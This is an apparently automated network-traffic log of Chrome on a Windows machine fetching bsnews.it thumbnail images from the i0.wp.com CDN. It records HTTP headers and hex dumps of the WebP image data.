2024-03-28 08:51:08 UTC	646	OUT	GET /bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	579	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 10274 Connection: close Last-Modified: Mon, 11 Dec 2023 15:27:37 GMT Expires: Thu, 11 Dec 2025 03:27:37 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "d14929c13204ace0" Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	790	IN	Data Raw: 52 49 46 46 1a 28 00 00 57 45 42 50 56 50 38 20 0e 28 00 00 d0 94 00 9d 01 2a 44 01 a0 00 3e 6d 2c 92 46 24 22 a1 a1 2d f2 4d 58 80 0d 89 6a 08 72 01 95 14 b3 ba bc e4 fc ff f7 5f db 7f 67 7a e7 f9 2f ec 9f e0 7f de 7b 49 ec eb b3 bc b9 79 db fe 67 dc 57 cc 2f f4 5e a7 7f 59 7b 03 7e b6 fe c3 7a dd 7e d5 7b b8 fd cd f5 1b fb 19 fb 27 ef 0f fe df f6 c3 dd e7 f4 cf f3 bf 96 3f 20 1f d2 ff be 7a 5e fb 21 fe d7 7b 02 fe e4 ff ff f5 dc fd c4 f8 5d fe d1 ff 37 f7 0f da b3 ff ff b0 07 a0 07 0c 6f f7 7e da 7f cf 7f 74 f1 ef f1 ef a3 7f 2b f9 81 ec 1f 98 fe b8 b5 2c f9 5f df 8f dd 7f 86 fc 80 f7 a3 fd 17 88 ff 28 35 0b fc b3 fa 07 fa 9f 14 1d d5 20 27 f4 2f eb 3f ed bf bb 7e 54 7c 47 7c 6f fb ef 47 fe c6 ff b7 f7 01 fe 81 fd 7b fe 37 96 77 fa af 1d 1f 39 f6 03 fe Data Ascii: RIFF(WEBPVP8 (*D>m,F$"-MXjr_gz/{IygW/^Y{~z~{'? z^!{]7o~t+,_(5 '/?~T\|G\|oG{7w9
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: f3 bd 15 7c 84 ac 86 2f b0 65 c9 6f 59 e4 58 0d 79 7b 35 86 5c eb 27 09 15 b5 99 c7 4d b4 4c c1 5e 74 f9 ed ed 52 e8 c6 13 4b 21 3a 8e 2b 44 09 83 89 df db dd 2f eb f5 5a 48 02 10 24 75 f3 37 6f 89 bb c0 4c c2 60 2e 98 99 8e 96 36 9a 40 4b 3a 3c 7d 03 00 7e 09 c9 d8 1c 7c 77 56 46 dd 2d b9 f7 07 77 56 6c 82 19 e7 7e 16 36 57 90 bf 7d ea b8 1f c6 17 93 8c 20 91 3e 87 2e 03 a8 25 ba 2a b9 36 27 ea f4 e0 ad ad c3 bf 0d a0 ff d0 3d 28 71 f6 15 64 90 87 c4 2e 60 b7 0f b1 e7 d5 9f d7 c1 7f 1a 55 3b bc a5 ae de da 42 de ff 0a a6 9f 32 33 5b 0d f2 69 38 6b 0e 49 2e 53 ed 44 33 9a ff b6 46 df 8c 02 8e bf f0 89 4e b7 8e d5 ed 9a e7 ee ad 71 bf a5 3b bb 21 f6 36 32 a1 df 7d fd 74 26 56 c4 ed c9 77 a7 74 b2 4a 02 44 b3 4d 8c 5f 0c 19 8d d7 89 77 94 b3 56 f4 ec 5e 5a Data Ascii: \|/eoYXy{5\'ML^tRK!:+D/ZH$u7oL`.6@K:<}~\|wVF-wVl~6W} >.%*6'=(qd.`U;B23[i8kI.SD3FNq;!62}t&VwtJDM_wV^Z
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 29 b4 a1 b4 c6 34 01 6c 84 20 09 1c 0c db 6c 2c 8f 43 62 35 5f 2e df 8f cc ec 3d 64 88 9c eb 81 86 02 20 da 5f c5 a2 c1 57 59 b6 65 25 2a d9 37 d4 cb 57 e9 77 3a 04 00 38 c8 87 ca f5 60 3d de 0a 28 27 79 45 18 9a 13 20 f8 40 47 59 e4 87 cb 3e c8 44 4a af b3 92 2d 79 07 ca 0b b4 5e 2f 40 e8 7b bf b5 3c ae 65 6f c9 c3 b8 e5 fd fe b2 27 89 ab f3 20 83 ac ef d0 05 74 7c e8 9d cd 51 1c 42 8c af 9f e4 54 06 6b cf fe 32 1e 9f 4a 6f f3 0d 1c b6 0e 3e 3f e9 c3 bf 67 51 24 48 45 7b 54 0d bd 8f e0 91 f2 7c 83 c2 2d de 06 14 b5 6d 45 82 0b 53 63 5d 29 b7 b5 18 6e 0a 82 62 76 45 b9 c3 ff 91 ea 96 bf c6 bd dd bc 42 83 6a eb b6 b3 9d a5 57 88 0a ec b1 92 0b 97 0e 17 cb 83 14 33 f2 54 cf 9b 2e 7b 7c 21 62 33 61 8d e2 97 cc eb fb 0f 0a 73 c1 52 b2 d4 c5 ef dc c3 67 7d 4a Data Ascii: )4l l,Cb5_.=d _WYe%*7Ww:8`=('yE @GY>DJ-y^/@{<eo' t\|QBTk2Jo>?gQ$HE{T\|-mESc])nbvEBjW3T.{\|!b3asRg}J
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: f9 ab ef 1f 51 fe 1e a2 75 b4 10 bc e0 90 9c fe 7f a5 e9 26 4e 9a fa 63 7f 6b e5 4c 95 70 61 65 33 67 c5 39 84 6f f4 98 c1 42 5e a0 99 9c 93 67 cd 6e 14 1f cd fc 96 90 83 b1 8d 8c 03 a5 cd db 02 5f 7f 3c b4 d3 f1 90 d0 04 cb 97 49 f3 79 eb 3c 15 6e 65 49 2a d3 8c 0d eb 0d c6 06 c7 e8 b4 a5 52 1a b3 01 f4 24 72 58 a7 fe b3 56 3d 1e 08 34 f1 4f 82 b8 81 a9 38 a6 1c 9e e6 ce e1 bf 1f 8e 1f 91 e5 9d 2d f6 95 61 37 47 ef 09 8d 0d 23 4c 72 17 04 dd d9 12 6e 9f 62 25 6c a7 32 7e fa 70 94 56 31 7a b3 fc c9 7d 3f 7c d0 f5 4e 58 62 9a 39 8b e5 12 91 e9 f6 0d 02 96 5d cc 16 fa ae 64 32 24 fd b6 5f 6d 16 dd d9 c6 5d 25 2b 41 03 6f 20 0c 06 95 52 cf 4b ec 68 d5 bf c5 c4 0f 5e a4 75 16 93 e5 0f 35 be d4 82 dd a9 1e b2 55 57 11 00 1c 8f 56 27 21 5e 04 24 76 71 db dc 62 Data Ascii: Qu&NckLpae3g9oB^gn_<Iy<neI*R$rXV=4O8-a7G#Lrnb%l2~pV1z}?\|NXb9]d2$_m]%+Ao RKh^u5UWV'!^$vqb
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 3c fa 70 a6 92 86 9a e4 c9 a4 ef bf d4 63 bf 18 3a b1 72 4a c8 00 77 05 ba 0e 7c 65 8c a6 35 2e 88 9e 29 99 6a 46 d5 39 18 60 53 7e 3b 33 dd df 42 93 a4 96 41 cc 04 31 0e 76 04 f9 6a cd a8 d1 8b 77 96 a8 a3 c3 97 02 73 6c 7a 72 16 61 86 57 fb 70 d1 bf c6 c1 34 b3 9f bc 61 25 4a 8f 6f de 0d 91 88 56 a9 bd a7 57 59 8b 55 c1 a8 5f 4e 59 e7 bc 53 09 3e 9e 05 6b a2 51 cb 69 5a 0b 4b 52 1e c4 df 7a 22 e5 47 b4 e5 0c 1f a1 05 26 45 c0 f0 3e 5c 2e 4d 0c 53 8e cd a2 b3 bf af 3d 2f be 63 ac 13 61 88 40 b1 28 38 ec af ae d7 97 8e 73 74 80 3e cd 59 11 0e c9 f3 8d 75 4c 4a 08 48 69 e6 30 cf 83 ad 2c ee a8 9f af 73 11 9a 75 e6 56 19 c9 ee 82 17 47 ee 49 d0 2b ae d4 48 50 02 93 92 ba 43 11 5f 9a 23 e4 cd 61 4b d0 54 7d 7b 79 ad 0a 17 f9 bd ca 9d d0 bd ac 50 22 62 f4 1b Data Ascii: <pc:rJw\|e5.)jF9`S~;3BA1vjwslzraWp4a%JoVWYU_NYS>kQiZKRz"G&E>\.MS=/ca@(8st>YuLJHi0,suVGI+HPC_#aKT}{yP"b
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 5d 02 35 8c 4a 36 e6 36 16 01 da 86 ca 54 8d 9c 89 7d 42 22 75 d7 b9 2b db e6 47 4b 0f 2f dd 13 66 b1 84 b6 86 8f 25 f7 65 31 25 15 0a 42 ea fd 36 ee fd 5d cd 15 e2 47 52 8e 74 2b 17 11 ab be a3 01 3e b9 45 aa 65 e9 64 a4 fd 9f 7b a2 50 63 66 16 c5 16 d4 f5 6a d6 64 ba 4f 3a 35 d9 3a c7 2e 3a a8 4a 17 0d 0a cf 5e 56 56 40 9c 39 6f ed a1 a2 ed f7 3a be 0a a9 85 d0 02 97 8e 10 10 5d 59 8e de 4d e9 e0 2d 78 5f 40 df d5 d2 35 93 8b d7 80 59 8c f9 34 2f 03 69 a2 68 ed e1 5e ad 8c 5f a3 b7 16 db 7e 66 06 71 09 f4 fa 0b 95 fe 1f 00 61 d8 d4 17 a0 27 98 d4 61 7e 40 46 8c 77 e3 14 c7 4d 4d 66 db 43 8a 9e fb b8 c5 91 73 a1 83 9f 9e 31 d7 c7 24 27 41 17 46 5b 8b 1a cb 64 f8 d6 46 98 e7 14 a9 db b4 17 38 b1 76 dc e0 4e 25 5f 8f a2 47 aa 84 7c d2 9b 74 c1 18 a7 40 d0 Data Ascii: ]5J66T}B"u+GK/f%e1%B6]GRt+>Eed{PcfjdO:5:.:J^VV@9o:]YM-x_@5Y4/ih^_~fqa'a~@FwMMfCs1$'AF[dF8vN%_G\|t@
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6e 11 b5 84 00 c1 13 19 51 27 19 df b1 85 9a f5 5f a9 7c 3b 79 ba c2 2f 3d f0 c0 0f 35 dc 62 84 ce d8 03 ec c5 17 be e5 4a 11 60 87 bb 3c ed 87 2b 88 e6 99 e4 db e5 eb bd e6 69 f0 58 84 43 c6 aa 1f b8 12 a5 84 3c 6a 86 c7 a8 bf 83 93 d1 81 60 ef 23 ed 7b f1 9b 7b ba 84 f9 37 a7 bc 91 e0 97 25 d7 c7 1f fb 57 35 8d a3 d0 0f ed 5e c8 9e 87 5c f3 3c 8b 85 61 ff f0 52 c5 25 39 cc 1d 2d 9e 48 01 9a 09 c4 06 84 6a 6c 91 9c c8 f5 a1 6d b5 f8 98 08 a8 35 96 c5 5c 9b 7a 58 05 d2 39 3f 85 a8 62 8c f9 e4 e7 5b e9 2a 1f a5 18 a3 38 5d 68 d6 15 4c 99 17 bc 10 ab db 86 20 b3 94 ad 27 7d bb ea 1b ee e3 e8 48 36 7e d6 3b e0 67 60 c4 8c 14 06 9b fb 27 10 04 50 e9 96 de c6 b4 d9 5f f9 80 b3 cc ac 0b 7d a5 af 2d b2 2f b8 cd a6 f0 8e 1f 9d bb 40 58 ce 0b 4b 51 3d e4 97 47 36 Data Ascii: nQ'_\|;y/=5bJ`<+iXC<j`#{{7%W5^\<aR%9-Hjlm5\zX9?b[*8]hL '}H6~;g`'P_}-/@XKQ=G6
2024-03-28 08:51:08 UTC	1270	IN	Data Raw: 83 a5 25 94 19 15 b3 68 0e 1e f8 09 85 ce 4b 6b 25 ef c6 1f ba 12 f9 fd 74 a4 d3 cf 78 58 17 2d 40 d7 e1 c5 14 df 1b 7e 1d bc ba bd e9 e0 31 a5 b2 f9 f4 e0 30 32 88 16 40 df 5f da 5e 4b 98 d7 7a f3 41 8a df d0 f3 ab 8b 97 f6 3d 2f dd 4f 8f b9 01 19 69 0a db b0 0b 61 f8 71 36 ab 28 6a 33 ce 13 73 86 c7 7b 04 21 a4 b5 79 52 74 e9 10 b0 c6 15 b7 5e b4 6e 0a 77 e5 11 8e 51 8c 45 4e 6e 3a 4d 5e d6 e6 87 e9 e4 9c b0 fa fa 0f 89 45 57 24 a4 46 e1 1b c2 54 17 a4 14 52 1b cb 1b 8b 7f c4 45 78 7f d8 88 b8 30 77 07 30 75 42 bd 1c aa af 48 c7 0a 5e 04 5d 41 31 91 9d 2b d7 ea 3d 43 37 5e 8f 2b bb 3a f7 2b a6 bb 3e 0d 7e a9 ff 19 3c d0 51 0d 27 14 8e fe fb 91 77 58 ff 7c 14 06 06 58 e5 06 01 69 f7 c1 fb d6 ee c1 2d 03 2f 07 d0 9b da af 5c 66 50 01 ad f2 33 3e a5 cc 24 Data Ascii: %hKk%txX-@~102@_^KzA=/Oiaq6(j3s{!yRt^nwQENn:M^EW$FTREx0w0uBH^]A1+=C7^+:+>~<Q'wX\|Xi-/\fP3>$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49840	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	646	OUT	GET /bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	578	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 2536 Connection: close Last-Modified: Wed, 27 Mar 2024 13:09:34 GMT Expires: Sat, 28 Mar 2026 01:09:34 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "f3f6adee9a6917ae" Vary: Accept X-nc: HIT dca 3 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	791	IN	Data Raw: 52 49 46 46 e0 09 00 00 57 45 42 50 56 50 38 20 d4 09 00 00 30 5b 00 9d 01 2a 44 01 a0 00 3e 6d 30 91 46 24 25 21 a1 2f 16 fa 98 a0 0d 89 69 03 bc ce b5 2f af 9f d8 c9 5f 0a 0c ff ff 14 7c a3 cc 04 63 3b 75 e1 86 b9 57 af 71 9f e4 e2 4b 24 c9 b2 e1 69 08 33 45 d6 43 f6 15 a8 41 05 39 1b 44 6e ac 1d 32 c7 59 e5 b7 79 a9 6a 5b 22 fc f1 8c 53 0b b9 78 52 5d 3c 13 45 b9 4d dd 90 e1 4a b5 8f 4e 37 f3 89 df a4 d1 3b a2 d2 1b d0 4c d1 03 13 1b ee 34 b1 03 84 d2 d5 57 29 f3 ba 1b 75 94 fa c7 69 c1 cc 9d 51 07 91 29 c7 75 a0 12 6d 2d 57 48 bb 06 72 d6 1c dc 7c f3 e2 ab ed c5 d1 f4 92 2e 55 6e 10 76 98 4c 30 04 2f 59 9f 2d cc aa d3 4c 5f ea c1 c3 02 1c de 9c 98 ab 4f 22 06 98 18 82 18 44 c5 54 63 3f 1e d4 0d c5 15 b5 22 e2 a2 b5 f1 2b 09 8c bf 5e 91 60 15 a1 c3 46 Data Ascii: RIFFWEBPVP8 0[*D>m0F$%!/i/_\|c;uWqK$i3ECA9Dn2Yyj["SxR]<EMJN7;L4W)uiQ)um-WHr\|.UnvL0/Y-L_O"DTc?"+^`F
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 4d 61 3e 6a 28 f1 f9 07 88 31 92 79 8b 3a 35 3c f9 5b 03 c8 97 4e 4f fc 8a 9a c3 6b f1 de d7 3f 9b 0f 82 fb a4 c6 b4 7c d1 86 67 1b bc 5a 23 6f 33 cb 60 f8 76 1e 64 73 ca 2d 33 3e e0 33 da 8a 26 aa 87 08 e8 0b 0a 83 88 ed b5 12 fc f9 3f c5 01 90 f3 1e 40 1e 21 9c a4 9b 0b 2d e6 7a d6 3e d6 e9 da b6 86 1e d2 c1 34 e1 ac cb 82 ae 93 84 fb 0c 66 bf 32 2d 48 1a 38 b1 cf 40 3d a3 ed e8 04 c6 32 57 64 57 17 4a 79 f6 77 55 9c be ce 46 55 9d e6 bc d3 76 40 11 6a c9 89 5e 35 78 75 1c bf 59 c5 d9 a4 67 9a cb e6 c8 9d 49 41 85 39 3e 10 4a ce c6 a1 4e 83 92 7b 60 65 54 46 9c b6 1c 31 85 ec 13 64 1d c7 38 89 14 c1 cc ac 63 3b fb 15 3c 61 eb 52 cc e4 d4 ab c5 d9 13 0e 40 2c ac 53 6c a6 80 ac 90 ed 5a 33 e0 1b b5 24 a6 d6 b9 69 59 a5 50 1b 2f c3 d8 f0 89 fa 85 45 cd 0e Data Ascii: Ma>j(1y:5<[NOk?\|gZ#o3`vds-3>3&?@!-z>4f2-H8@=2WdWJywUFUv@j^5xuYgIA9>JN{`eTF1d8c;<aR@,SlZ3$iYP/E
2024-03-28 08:51:08 UTC	376	IN	Data Raw: 90 fb 2a 8e cb 5f 9c 9f b3 3d ae ab 7f 5c 46 5c f6 88 af e4 b2 3e 85 da c4 29 c6 c1 28 43 a7 01 5b 75 54 c8 3a 5c ac d5 39 29 de 73 cd b5 9b 6c 94 1c 58 82 2b 06 cf 9a 36 02 4c 2e 4c 86 d5 ee 22 f2 21 b4 14 93 eb ce 21 0c 5a 4a df 0f e4 c3 15 6e 13 0e 25 97 8f a1 63 f0 6e fb 63 d8 a8 92 9f 0e db 7f 7b 29 cd fa 4b 06 81 d7 75 1b 76 2b 7d 1b 3b 75 9b 9f 87 e4 0a 52 69 b9 ed 68 72 20 f7 6f 21 4a 7b dd 21 b1 db 93 9c c3 31 4b 93 1a 2f 72 22 9c 45 d5 a0 22 39 bd a9 41 6e 4e 19 39 46 12 87 33 59 55 b2 85 9d a2 a1 19 42 ed 01 f9 f1 f5 aa 51 9a 72 a6 fd 22 67 79 9d 36 9b 7f 17 47 fb a2 79 e3 a1 af ab db 4e eb 67 21 48 e4 dc 1d 3c 1e 4b a7 56 ce 36 1b 72 ff 42 ae dd 9d 5b a9 8e ea c8 19 d3 66 95 09 9d 37 d2 2c ca a1 6b 83 46 b6 84 8e 91 7f 8e 74 ef 47 c6 5f 1f 59 Data Ascii: *_=\F\>)(C[uT:\9)slX+6L.L"!!ZJn%cnc{)Kuv+};uRihr o!J{!1K/r"E"9AnN9F3YUBQr"gy6GyNg!H<KV6rB[f7,kFtG_Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49838	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	667	OUT	GET /bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	599	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 5412 Connection: close Last-Modified: Wed, 27 Mar 2024 11:54:41 GMT Expires: Fri, 27 Mar 2026 23:54:41 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "6239bfb92dfd9099" Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	770	IN	Data Raw: 52 49 46 46 1c 15 00 00 57 45 42 50 56 50 38 20 10 15 00 00 10 65 00 9d 01 2a 44 01 a0 00 3e c9 5a a5 4d a7 a5 23 a6 2a b3 ac 50 f0 19 09 4d c4 10 06 ff 8f 32 5f ca 23 ff fe 2a 5e 3d f9 85 f3 fc be 0b 7f 1d e6 2c f7 7e 99 77 09 f3 bf 69 e3 c9 40 fe 63 fe 1f 8a 36 2e 1b 7f fb cf 05 ff 6c f1 0e 79 7b 8b 9f 9b e6 ff 20 7e 18 df 85 f5 05 f2 8b f0 39 fb 61 97 e8 0e 1d d7 8f f1 9b 5b e5 7a 5d b7 d6 40 93 e1 8f 0f bb 7f 29 46 54 57 08 b5 af c3 9b 63 80 84 88 bc f4 d8 3f 50 b9 47 97 ec d5 e7 f3 a6 72 9f 50 9f 3e d8 2a a7 a6 7a 66 9c e6 fd a8 99 0f 56 d5 ff be 9b 7b 45 e6 56 c1 07 a4 9d 75 81 9a 10 dc cf 1d 45 ff 76 99 4f c1 83 35 25 c5 1b 98 10 e1 c1 72 5b 32 e1 2e a6 05 0d a8 78 69 2c b1 05 0e c1 b0 2a 9d 4e 32 d6 97 02 b1 27 d6 9e f9 70 1a ea cf 49 f6 52 7e 20 Data Ascii: RIFFWEBPVP8 eD>ZM#PM2_#^=,~wi@c6.ly{ ~9a[z]@)FTWc?PGrP>zfV{EVuEvO5%r[2.xi,*N2'pIR~
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 1f a0 ef ca 2e 04 dc ac 4e 3a 57 ee aa 00 a1 b5 ba 50 79 53 5b 68 4f 2b 8b 44 a8 7c bd 09 ca 4e e8 8e a6 1e d7 bd bc 2e 99 71 e6 11 0d 7c b3 37 00 c7 5e c4 d5 3b ad 9d a5 be ef 98 49 f2 21 e7 93 fb 50 00 fe f7 b7 b6 c0 33 a0 98 2e 91 2f 3f 0e 14 67 8e 46 0b 3e d4 42 31 68 d8 7f b0 96 54 3f 25 9a f2 90 33 bb 54 60 15 62 d4 b5 4b 5d 5c d6 89 14 03 4d d7 e8 a4 e0 f8 bf 2c ae 65 33 23 a4 9a 81 eb ad 30 aa 5c ad 6e 24 51 d4 be 66 29 a4 5b 3e 04 a9 73 c0 23 f5 eb 02 7b b3 6f db eb f6 4b c1 b3 d4 be f8 a8 b1 6b 86 03 7b 7e ee 54 87 81 1a 2e 87 a0 e6 86 9d 8c 6d 63 be 87 3d fc 4d b4 d5 80 d4 f7 4e 51 05 d0 1c 41 13 33 ce fb 56 a2 e1 4a 85 20 b0 05 60 53 b9 96 9d 68 57 7d ef cb 42 be 5c fc da 6d fc a8 d3 f4 22 98 cd dc 61 85 79 eb 19 ee 5c ed 6e 69 7d 4f 99 fb 97 Data Ascii: .N:WPyS[hO+D\|N.q\|7^;I!P3./?gF>B1hT?%3T`bK]\M,e3#0\n$Qf)[>s#{oKk{~T.mc=MNQA3VJ `ShW}B\m"ay\ni}O
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 9d 2d 95 16 68 82 00 00 b5 6d f8 68 fd 5e ae 6e 6e 8b 96 2b 7a 0a a9 44 83 4f 57 68 46 58 35 d2 1d 94 d8 48 8d 37 37 9f d8 9c c9 43 1f 66 de 6e eb 9d e4 38 1e a9 4e fe 2e 29 66 7f 92 0c 0a d4 2d b2 39 58 b3 6b 2e 3d ed 4d 78 5f 7d 55 d8 bb 0a 46 f4 41 2c e9 2d 5e 26 ef 15 53 4b b0 fc 82 b5 b3 91 cc 48 dc 7a ec 8a 33 f3 f3 ba 6a f2 16 d4 54 e2 ef 3f 13 8e f9 56 5a 0e 5c 84 d3 a6 e6 78 d8 50 e9 5b 4a 63 f3 21 a8 b8 50 06 9a f6 3c 40 14 08 50 b5 40 41 7f bb 3b d7 9b 62 9a c0 6c b5 1a b4 5f 8b f7 1e 50 85 90 50 a7 88 88 d2 cb e8 72 e9 35 96 7b 9b ee a4 c3 6c e7 b3 6c 2a 18 f7 8d e1 c6 db 8e 8c b2 d3 17 8d eb 73 9d 5e ca c9 9d 9a 39 12 06 0b 8e 09 e3 6b 87 fb 5a 05 34 4a dd ca 84 64 0a 52 7d b8 b2 25 a8 c9 dc bd 40 fe 4a 56 e0 32 8c 6a 0f 24 b0 6c 1a 03 42 84 Data Ascii: -hmh^nn+zDOWhFX5H77Cfn8N.)f-9Xk.=Mx_}UFA,-^&SKHz3jT?VZ\xP[Jc!P<@P@A;bl_PPr5{ll*s^9kZ4JdR}%@JV2j$lB
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6c 0e d4 fb e0 63 37 1c 6c e4 17 c3 e5 bd e9 57 70 e1 41 ba 44 df 9a a9 48 93 99 c4 e4 02 b7 df 9e 26 56 0c 45 99 47 40 89 fd d3 c9 58 22 d8 99 20 16 28 a2 b7 e8 1d 8a 01 96 3b c7 d3 96 51 4e dc 80 db 6e 05 40 0b fd 24 ba e6 ab c9 39 4a b3 01 d7 06 4b 3a 68 b4 5a a3 4d 35 15 7c 7a 2a 15 33 ea c0 1e a3 ec 7c 3c 63 70 43 21 ec 1e e0 6d e1 24 22 1d 69 52 2f 1d 17 c1 52 d8 e2 e4 5d c0 b6 6d 77 de cf 26 1d 6d 3d 04 95 5e cb 9c 33 db e8 26 35 85 da 0a da af 4c af 40 86 07 15 0b e7 a7 39 57 ce 66 36 ac 91 e1 06 03 23 4b 94 17 80 e7 60 25 1c 92 f8 ff 49 e9 db 4f f8 57 50 bf 16 7b 45 24 b3 bb 0b 08 02 b8 9e 75 ba 81 04 50 1f 22 2e b4 2e d1 fb e9 ca 3d 21 3b 9f b7 1a 17 f3 36 2b 1c ce 26 0e 5d 57 e7 e2 c4 09 47 63 fd 76 99 21 21 cc 87 75 39 5f 42 8d d1 6e 54 f8 cb Data Ascii: lc7lWpADH&VEG@X" (;QNn@$9JK:hZM5\|z*3\|<cpC!m$"iR/R]mw&m=^3&5L@9Wf6#K`%IOWP{E$uP"..=!;6+&]WGcv!!u9_BnT
2024-03-28 08:51:08 UTC	535	IN	Data Raw: a5 7a 5a fc 5c 95 0a 9d ad 17 5a cb be bd b9 61 80 d1 51 50 6e 92 ed 77 aa 90 cf fc 23 85 b0 41 7e 9d f6 b3 49 28 02 bc 93 42 10 4c 0e 20 90 68 b7 37 8d 33 b1 d4 fb 67 e6 63 a8 89 54 7f 23 9c 5e 8f 00 ac fb 29 37 15 c8 9f 88 c9 8d f0 c9 34 65 03 4f a6 7f 32 51 95 2a 81 55 76 ad 66 0a 81 1a f5 44 41 d7 42 6a 1b 1a 4d bc e7 aa 76 16 b5 d4 0b ce ce 1e 0e b0 1a 65 e7 87 91 cd fb c1 c0 f9 12 9a 6d a0 cc f3 9a e1 d7 86 cb 77 b8 17 bb 5b 1e 2d e9 79 4f 7c 8f e0 75 62 10 00 63 37 fe 4a 4e 10 b1 b3 a9 56 ef f5 47 25 a3 d5 10 a6 08 3d 53 8b f2 46 ab d5 24 92 39 6c ac b7 f9 ef 8a 82 b8 d8 a4 16 72 4f 7a 2b a7 b5 f4 27 0e 30 4e 73 95 a0 d2 43 12 96 f9 5f 2e c4 56 29 45 80 c4 8c 7a 7f 1e 78 6e 9b d9 07 e9 0e b9 8c 1d db a2 df d4 ad 58 af b1 f2 dc 0a 0c ce 4e 10 4f e3 Data Ascii: zZ\ZaQPnw#A~I(BL h73gcT#^)74eO2Q*UvfDABjMvemw[-yO\|ubc7JNVG%=SF$9lrOz+'0NsC_.V)EzxnXNO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49841	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
